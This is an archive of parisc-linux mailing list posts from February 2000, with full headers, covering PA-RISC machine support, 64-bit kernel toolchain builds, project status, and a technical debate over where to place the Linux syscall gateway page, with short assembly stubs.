Path: news.gmane.org!not-for-mail
From: "Ross J. Reedstrom" <reedstrm@wallace.ece.rice.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] About supported machines.
Date: Fri, 11 Feb 2000 14:06:08 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20000211140608.C12552@rice.edu>
References: <2.2.32.20000211010445.006aa0cc@phoenix.maintree.com> <Pine.LNX.4.10.10002111112010.20107-100000@grasshopper.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618766 30347 80.91.229.3 (22 Nov 2014 01:12:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: reedstrm@wallace.ece.rice.edu  Fri Feb 11 14:13:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA06720
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 14:13:04 -0700
Original-Received: (qmail 17236 invoked by uid 15267); 11 Feb 2000 20:10:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13296 invoked from network); 11 Feb 2000 20:06:18 -0000
Original-Received: from wallace.ece.rice.edu (root@128.42.12.154)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 20:06:18 -0000
Original-Received: by wallace.ece.rice.edu
	via sendmail from stdin
	id <m12JMKO-000LELC@wallace.ece.rice.edu> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Fri, 11 Feb 2000 14:06:08 -0600 (CST) 
User-Agent: Mutt/1.0i
In-Reply-To: <Pine.LNX.4.10.10002111112010.20107-100000@grasshopper.thepuffingroup.com>; from dkennedy@linuxcare.com on Fri, Feb 11, 2000 at 11:13:02AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6816

On Fri, Feb 11, 2000 at 11:13:02AM -0500, dkennedy@linuxcare.com wrote:
> On Thu, 10 Feb 2000, Matthew Estes wrote:
> 
> >         I have recently acquired an Apollo 720 with HP-UX 9.03, I was
> > wondering if this machine is in the class of machines that you are either
> > supporting or plan to support. I looked in the hardware database and
> > couldn't find anything about 720's, so I thought I would ask the mailing
> > list. It is no real use to me as is, so I would be willing to do testing on
> > it. Thanks.
> 
> Since we don't currently have a 720 in the hardware database, can you
> please add your machine to the database.  If you have any problems,
> please let me know.


That'll be a problem, since step 5 of adding a machine says:


5. Run the "ioscan -F" utility on the PA-RISC machine with the command
   /usr/sbin/ioscan -F. The results may take a few moments to appear. Copy
   and paste the results (which will be a fair amount of data) into the
   "IOScan Output" field below. The IOScan output must be from HP-UX
   version 10 or later.

And Matthew has 9.03. I have the same problem with a 730 I've got: I'd add it to
the db, but it's not at 10 yet. (Purely a time issue: I've got the upgrade CDs,
but apparently I can't do a clean wipe/install since my 730 won't boot from
the CD)

Ross

-- 
Ross J. Reedstrom, Ph.D., <reedstrm@rice.edu> 
NSBRI Research Scientist/Programmer
Computer and Information Technology Institute
Rice University, 6100 S. Main St.,  Houston, TX 77005


From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ullas Ponnadi <uponnadi@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building the PA-RISC 2.0 kernel with the GCC tool chain
Date: Fri, 11 Feb 2000 11:18:57 -0800
Organization: Hewlett Packard
Lines: 26
Approved: news@gmane.org
Message-ID: <38A460A1.42E46FC6@cup.hp.com>
References: <200002111838.NAA12763@vorlon.dynacan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618766 30354 80.91.229.3 (22 Nov 2014 01:12:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: uponnadi@cup.hp.com  Fri Feb 11 14:37:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA07056
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 14:37:31 -0700
Original-Received: (qmail 9236 invoked by uid 15267); 11 Feb 2000 20:35:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5588 invoked from network); 11 Feb 2000 20:31:47 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 20:31:47 -0000
Original-Received: from hpdst41.cup.hp.com (hpdst41.cup.hp.com [15.16.128.62])
	by palrel3.hp.com (Postfix) with ESMTP id 1BD6713EB
	for <parisc-linux@thepuffingroup.com>; Fri, 11 Feb 2000 11:17:59 -0800 (PST)
Original-Received: from cup.hp.com (hpdst231.cup.hp.com [15.16.129.192]) by hpdst41.cup.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id LAA27357 for <parisc-linux@thepuffingroup.com>; Fri, 11 Feb 2000 11:17:58 -0800 (PST)
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6817

John Curry and myself have been looking at the PA-RISC 2.0 Port. Here are
some things that I have tried using the latest GCC tool chain.

- I have been able to build an ELF-64 binary using the tool chain. The tools
that
  I have used are:
        - gcc version 2.9-hppa-991112
        - GNU ld version 2.9-hppa-991112 (with BFD 2.9-hppa-991112)
        - GNU Make version 3.77

- I have used a bare bone kernel for the build.

- Most of the assembly files are stubbed out since the assembler directives and
in
  some cases, assembly tricks do not work on the 64 bit architecture.

- The purpose of the build was to test the tool chain and deal with any 64 bit
issues,
   so no tests have been done:-).

Hope this information is useful for anyone trying to work on a PA-RISC 2.0
Port.

Ullas



From - Thu Nov 08 21:11:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Metrics Gathering and Quality Measurements
Date: Fri, 11 Feb 2000 17:53:04 -0500
Organization: The Puffins at Linuxcare
Lines: 52
Approved: news@gmane.org
Message-ID: <38A492D0.1F6D4206@linuxcare.com>
References: <40DBF9A085B2D3118C2600508B6FCB8A41E102@cisf7.cisf.af.mil>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618767 30360 80.91.229.3 (22 Nov 2014 01:12:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:47 +0000 (UTC)
Cc: "'parisc-linux'" <parisc-linux@thepuffingroup.com>
To: Dunn RobertE Contr ESC Det 5 /NDSI <Robert.Dunn@CISF.AF.MIL>
Original-X-From: adevries@linuxcare.com  Fri Feb 11 16:50:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA07990
	for <parisc-linux@puffin.external.hp.com>; Fri, 11 Feb 2000 16:50:28 -0700
Original-Received: (qmail 32345 invoked by uid 15267); 11 Feb 2000 22:48:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29459 invoked from network); 11 Feb 2000 22:45:02 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.88.157.130)
  by mailserv2.iuinc.com with SMTP; 11 Feb 2000 22:45:02 -0000
Original-Received: from linuxcare.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id RAA01735;
	Fri, 11 Feb 2000 17:53:04 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6818

Dunn RobertE Contr ESC Det 5 /NDSI wrote:
>         What file format would you like.  Linux people probably want Corel.
> I have Word Perfect.  The school will want satan's Word 97 format.  I am
> unsure about posting binary files to the list server.  I can e-mail it
> directly to you.  Does anybody else want a copy?  It will be several weeks
> before I will have it together.  I can tell you, however, based on what I
> have learned thus far, there will be many negatives.  I will attempt to
> identify any of the positive points that I can (for example: this list
> server and bugzilla - thanks Mike -).  Any information the team can provide
> will be most beneficial.

I'd suggest text and postscript.  Send it to me, and if it's on topic
we'll host it on the PA-RISC Linux web pages.

>         Has there been any risk analysis done?  I can see evidence of, at
> least some informal, risk analysis.  The discussions about merging Linus'
> product with parisc attempts to identify some of the risks that may be
> encountered and some of the steps that may be taken to mitigate those risks.

There's certainly risk analysis that gets done on a project-to-project
basis, but it's a very informal practice.

>         Have there been any prioritization of tasks?  Has the team
> identified tasks that will take longer or have greater risk?  If they have,
> have they also identified the earliest possible starting time for these
> tasks?

Ish.  A lot of these get talked about off line.

>         Is there a schedule?  It seems as though the project is just moving
> in a forward direction with the goal of finishing when it can be finished?

That's pretty much it.  It's hard to guarantee any dates when the bulk
of development is done on non-paid time.

>         What role is Linuxcare taking in the project now?  Have there been
> any updates to the Puffingroup website in the last couple of weeks?

The Puffins at Linuxcare has a contract with HP to contribute to some
development. 

There will be updates very very soon.  We've been concentrating on
development in recent weeks.

- Alex
-- 
Alex deVries, Director of Professional Services, The Puffins at
Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MAKE initrds FAST
Date: Sat, 12 Feb 2000 22:51:02 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20000212225102.D9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618767 30368 80.91.229.3 (22 Nov 2014 01:12:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sat Feb 12 21:55:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA18288
	for <parisc-linux@puffin.external.hp.com>; Sat, 12 Feb 2000 21:55:54 -0700
Original-Received: (qmail 4378 invoked by uid 15267); 13 Feb 2000 03:54:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2370 invoked from network); 13 Feb 2000 03:51:02 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Feb 2000 03:51:02 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id WAA10823
	for parisc-linux@thepuffingroup.com; Sat, 12 Feb 2000 22:51:02 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6819


An interesting project someone might want to take on:

I waste a fair bit of time copying executables from hpux to linux,
mounting a ramdisk over loopback, putting the executable into the
disk, unmounting it, copying the ramdisk back to hpux, making a new
kernel and then booting it.

If someone has some spare time, they might want to investigate using
libext2fs to build a ramdisk under HPUX.  Red Hat's mkinitrd doesn't
work like this, so can't be usefully adapted.  libext2fs is available
as part of e2fsprogs, available from most ftp sites world-wide :-)


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] MAKE initrds FAST
Date: Sun, 13 Feb 2000 16:43:00 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000213164300.A2008@alpha.franken.de>
References: <20000212225102.D9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618767 30374 80.91.229.3 (22 Nov 2014 01:12:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sun Feb 13 09:46:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22284
	for <parisc-linux@puffin.external.hp.com>; Sun, 13 Feb 2000 09:46:53 -0700
Original-Received: (qmail 21174 invoked by uid 15267); 13 Feb 2000 15:45:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19941 invoked from network); 13 Feb 2000 15:43:31 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 13 Feb 2000 15:43:31 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12K1BJ-0027bTC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sun, 13 Feb 2000 16:43:29 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12K1BC-002Ok6C; Sun, 13 Feb 100 16:43 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id QAA02112;
	Sun, 13 Feb 2000 16:43:00 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000212225102.D9944@thepuffingroup.com>; from willy@thepuffingroup.com on Sat, Feb 12, 2000 at 10:51:02PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6820

On Sat, Feb 12, 2000 at 10:51:02PM -0500, willy@thepuffingroup.com wrote:
> 
> An interesting project someone might want to take on:

it's sure an interesting project, but there already is a solution for your 
problem in the current cvs. It's called NFS root:-)

Right now sash is running on my A180 started from a NFS mounted root.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] State Of The Port [2000/02/13]
Date: Sun, 13 Feb 2000 16:22:06 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <20000213162206.I9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618768 30379 80.91.229.3 (22 Nov 2014 01:12:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Feb 13 15:24:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA24680
	for <parisc-linux@puffin.external.hp.com>; Sun, 13 Feb 2000 15:24:21 -0700
Original-Received: (qmail 25690 invoked by uid 15267); 13 Feb 2000 21:23:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24818 invoked from network); 13 Feb 2000 21:22:07 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Feb 2000 21:22:07 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA12533
	for parisc-linux@thepuffingroup.com; Sun, 13 Feb 2000 16:22:06 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6821


State of the Port

It's been a while since we put one of these out, so here goes:

 * Grant has contributed support for the C3000/J5000 and similar machines
   which have an I/O SAPIC.

 * A cast of thousands hacked on the Tulip (onboard DINO/IOSAPIC based
   machines) driver.  Eventually, Thomas persuaded it to work.

 * Sammy & Helge made LASI ethernet work.

 * Thomas massaged some C IP checksum code until it worked.  NFS now works!

 * Our kernel tree is currently based on Linux 2.3.42.  Michael
   Ang shepherded us through this merge with contributions from
   (alphabetically), Paul, Thomas, Grant, Philipp and Matthew.

   Naturally, Linus put out 2.3.43 within a few hours of the merge
   being completed.

 * Grant has also got some signs of life from the Symbios 896 

 * Martin fixed a console problem that made sash crash when using the
   serial console.

 * John Marvin has been working on Linux syscalls.

 * Sammy has a 32-bit ELF kernel booted [but hasn't committed the code
   yet, to give us enough time to get an ELF toolchain to everyone].

So what does it currently work on?

 * C3000/J5000 (no serial input yet)
 * A180
 * C360
 * 712

These are the machines developers are mainly using right now.
Other machines simply aren't being tested and may work anyway.

The future:

We'll try to stay more current with Linus' codebase.  On the other hand,
we don't want to be merging all the time.  The compromise we've decided to
try is to merge approximately once a month, depending on exactly what's
been changed.  2.3.43 breaks half the network drivers, so we don't want
to merge yet.  On the other hand, it does have the new `coherent DMA'
interface, which we will want to take advantage of.

We need to start thinking about moving the kernel to 64-bit ELF.
There are some places where we've assumed sizeof(long) == sizeof(int),
and some of the assembler needs changing.

We need to start working on making the system self-hosting.  That means
getting a C compiler running, porting glibc, etc.

Apologies to anyone or anything I missed.


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux syscall ABI
Date: Mon, 14 Feb 2000 02:30:02 -0700 (MST)
Lines: 172
Approved: news@gmane.org
Message-ID: <200002140930.CAA10197@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618768 30385 80.91.229.3 (22 Nov 2014 01:12:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:48 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Feb 14 03:28:43 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id DAA29656
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 03:28:43 -0700
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id CAA05476
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 02:30:03 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id CAA10197 for parisc-linux@puffin.external.hp.com; Mon, 14 Feb 2000 02:30:02 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6823


I've been talking with willy about the Linux syscall ABI, and now I'd
like to get some input from the rest of you regarding how it should
be handled.

As most of you are aware, HP-UX uses some parisc specific features,
namely the gate instruction used on a page mapped with privilege
promotion access rights (i.e. a gateway page), to implement HP-UX
syscalls. HP-UX puts this gateway page at 0xC0000000 in the users
address space (Which on HP-UX is in a shared quadrant, so there
is only one entry is needed in the tlb for all user processes).

Currently I've implemented a Linux syscall gateway page at 0xC0010000,
but since we don't have anything to be binary compatible with for
parisc linux applications, we can do things differently. I'd like
to throw out a few proposals and see what you all think. Feel free
to suggest other ideas.

Proposal #1:

Don't use a gateway page. Use a more "traditional" trapping instruction,
and handle syscalls in the fault path. We could use a subset of the
available break instructions, or we could "dedicate" a trap (the break
instruction trap handler will have to be shared with debugger support),
like the privileged register trap, or any of a few other traps that
a user program should not run into in the normal course of execution.

The disadvantage with this method is that I don't believe it can be made
to perform as well.  Even if we dedicate a particular trap for handling
syscalls, we still need to do at least 4 mtctl instructions (which on many
parisc processors take 2 states each, and don't bundle for multiple issue)
to reload the space queue and offset queue, plus and rfi instruction, in
order to return to virtual mode in the kernel.  This method also will
defeat any advantages from branch prediction.

All of the other proposals below deal with using a gateway page. I
personally believe that using a gateway page is the better choice.
However, on parisc linux we are capable of supporting a ~4 Gb linear
address space for user processes. I don't think locating the gateway
page at the ~3 Gb mark is a good idea, since it prevents heap expansion
beyond that point (this is a problem I am currently trying to work around
on HP-UX for customers who need this kind of large address space and
are not yet willing to port to 64 bit). I can think of no good reason
to put the gateway page in the middle of the user address space somewhere.
The remaining proposals have to do with where the Linux gateway page
should be located.

I should mention here that we do not currently plan on having any globally
shared quadrants in the user address space for parisc linux. Therefore
whether or not an HP-UX gateway page is mapped into the address space
can be determined on a per process basis. I can see no reason to map
a HP-UX gateway page into the address space for native parisc linux
processes (as opposed to HP-UX processes running on parisc linux).

Proposal #2:

Map the Linux syscall gateway page at the top end of the user address space.
What this top end address would be has yet to be determined. Depending
on how we support mapping I/O devices into the user address space, we
may want to reserve the 0xF0000000-0xFFFFFFFF range for IO (keeping the
device mapped at its equivalent address in the kernel address space).
This may be also be necessary for routines like memcpy (so it can easily
determine if the address is an IO mapped address), which if used on IO
addresses have to do things differently, assuming that memcpy is optimized
for performance.


Proposal #3:

Map the Linux syscall gateway page at near the bottom end of the users
address space.  We could define the default text start for parisc linux
processes such that it leaves room for a gateway page below it.

Proposal #4:

Map the Linux syscall gateway page at the very bottom end of the users
address space, i.e. 0x00000000! Note that gateway pages are execute only,
so processes would still fault on a data null pointer dereference. We
could put some trapping code at the beginning of the gateway page to
catch anyone branching through a null function pointer.

One disadvantage of this proposal is that we could not support the
System V personality null pointer dereference behaviour. This maps
a page of zero's at location 0 so that null pointer dereferences will
return 0 for buggy software. Do we really still need to maintain this
ancient hack?

A slight advantage of this proposal is that it eliminates one instruction
(yes, one whole instruction!) from the syscall path. The general syscall
stub for a user space gateway page looks something like this:

	ldil L%<gateway address>,%r1
	ble  R%<gateway address>(%sr?,%r1)
	ldi <syscall #>,%r20

With the gateway page at 0 we don't need the ldil and can do just:

	ble <gateway page offset>(%sr4,%r0)
	ldi <syscall #>,%r20

Proposal #5:

Locate the gateway page in the kernel address space (space 0).  This will
be a more efficient with respect to tlb usage.  It will add an instruction
to the syscall stub (perhaps an instruction or two can be reclaimed
on the gateway page in return, see below).

It is more efficient re: tlb usage for two reasons.  The first reason is
that since there is only one kernel address space, we only need one entry
in the tlb to map the page.  For user space gateway pages every process
will have its own mapping (aliased to the same page).  I should mention
here that every process will have its own unique space value, and we will
not need to flush the tlb on context switches. The second reason is
that we could locate the syscall return path on the gateway page, so
the syscall path will not need to run through another address range
(the syscall return code) that it could miss on. The kernel system
calls are written in C, and therefore cannot do a long branch back onto
the gateway page, which would be necessary if the gateway page is not
located in the kernel address space. If the gateway page is located in
the kernel address space the system calls can return there for the
syscall return path (check pending signals, rescheds, etc.) before
doing a long branch back to user space. We may also be able to save
a few instructions in the syscall path if the return point is the
natural return point for where the branch to the syscall was taken.

The disadvantage is that we would have to load a space register in
the syscall stub. The sequence would be something like this:

	mtsp %r0,%sr0
	ldil L%<gateway address>,%r1
	ble  R%<gateway address>(%sr0,%r1)
	ldi <syscall #>,%r20

If address 0 is available in the kernel address space (and there are
a variety of reasons why it might not be available long term) the
sequence could be shortened to:

	mtsp %r0,%sr0
	ble  <gateway offset>(%sr0,%r0)
	ldi <syscall #>,%r20

Proposal #6:

Locate the gateway page in a space dedicated purely for the gateway
page. This has the advantage of having one global mapping, similar
to proposal #5 above. It also is completely flexible in terms of
where in the address space it could be located, i.e. 0 would be
available. It has the disadvantages (compared to #5) of not being
able to locate the syscall return path on the gateway page. Also
it would take yet another instruction to load a non zero space value
into a space register, e.g: (assuming gateway at address 0)

    ldi <gateway space value>,%r1
    mtsp    %r1,%sr0
    ble  <gateway offset>(%sr0,%r0)
    ldi <syscall #>,%r20

I only mention this possibility to be complete. I personally do not
think it has much going for it.


I haven't proposed more flexible solutions, including what HP-UX
does for 64 bit syscalls, i.e. they pass a pointer to an array of
syscall pointers into the application at startup. This means that
you have to load them from memory.  My opinion is that we don't
need to be that flexible,  but I'm sure some of you will disagree.

So, what do you all think?

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux syscall ABI
Date: Mon, 14 Feb 2000 14:34:06 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <20000214143406.J765@abacus.local>
References: <200002140930.CAA10197@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618769 30388 80.91.229.3 (22 Nov 2014 01:12:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:49 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: prumpf@inwestnet.de  Mon Feb 14 07:33:50 2000
Original-Received: from mail.ginko.net (mail.ginko.net [212.202.73.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA31244
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Feb 2000 07:33:49 -0700
Original-Received: (qmail 23255 invoked from network); 14 Feb 2000 13:35:10 -0000
Original-Received: from port0166.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.166)
  by mail.ginko.net with SMTP; 14 Feb 2000 13:35:10 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id OAA21533;
	Mon, 14 Feb 2000 14:35:07 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200002140930.CAA10197@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Mon, Feb 14, 2000 at 02:30:02AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6824

> Proposal #1:
> 
> Don't use a gateway page. Use a more "traditional" trapping instruction,

I agree this probably has very bad performance, so we shouldn't do it.

> Proposal #2:
> 
> Map the Linux syscall gateway page at the top end of the user address space.
> What this top end address would be has yet to be determined. Depending
> on how we support mapping I/O devices into the user address space, we
> may want to reserve the 0xF0000000-0xFFFFFFFF range for IO (keeping the
> device mapped at its equivalent address in the kernel address space).

I don't think reserving 0xFXXX XXXX for I/O in userspace is a good idea.
There is no problem with doing userspace I/O using the normal mmap /dev/mem
approach.  (Except maybe HPUX compatibility, which doesn't concern linux-
only processes).

Not using the last page (i.e. 0xffff f000 - 0xffff ffff) sounds like a good
idea to me though as it avoids small negative numbers cast into pointers
getting successfully dereferenced.

> This may be also be necessary for routines like memcpy (so it can easily
> determine if the address is an IO mapped address), which if used on IO

kernel memcpy() shouldn't ever be called with either an IO or a user address

> One disadvantage of this proposal is that we could not support the
> System V personality null pointer dereference behaviour. This maps
> a page of zero's at location 0 so that null pointer dereferences will
> return 0 for buggy software. Do we really still need to maintain this
> ancient hack?

No, we don't.  We're talking about PER_LINUX binaries here, and those
never expected to be able to dereference NULL pointers.

> The disadvantage is that we would have to load a space register in
> the syscall stub. The sequence would be something like this:
> 
> 	mtsp %r0,%sr0
> 	ldil L%<gateway address>,%r1
> 	ble  R%<gateway address>(%sr0,%r1)
> 	ldi <syscall #>,%r20
> 
> If address 0 is available in the kernel address space (and there are

Of course every page in the region 0xfffc0000 - 0x3f fffc (it's a 17-bit
signed immediate shifted left 2 bits, so that should be -2^18 - 2^18-4)
can be used, so we just need a page within the first 256 KB.
 
> a variety of reasons why it might not be available long term) the
> sequence could be shortened to:
> 
> 	mtsp %r0,%sr0
> 	ble  <gateway offset>(%sr0,%r0)
> 	ldi <syscall #>,%r20

In fact, what's wrong with shortening _this_ sequence to

	ble <gateway offset)(%sr2, %r0)
	ldi <syscall #>,%r20

and teaching userspace to not modify sr2 ?

> I haven't proposed more flexible solutions, including what HP-UX
> does for 64 bit syscalls, i.e. they pass a pointer to an array of
> syscall pointers into the application at startup. This means that
> you have to load them from memory.  My opinion is that we don't
> need to be that flexible,  but I'm sure some of you will disagree.

If you disagree, there's still 252 / 248 KB left for you to play in.

	Philipp


From - Thu Nov 08 21:11:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
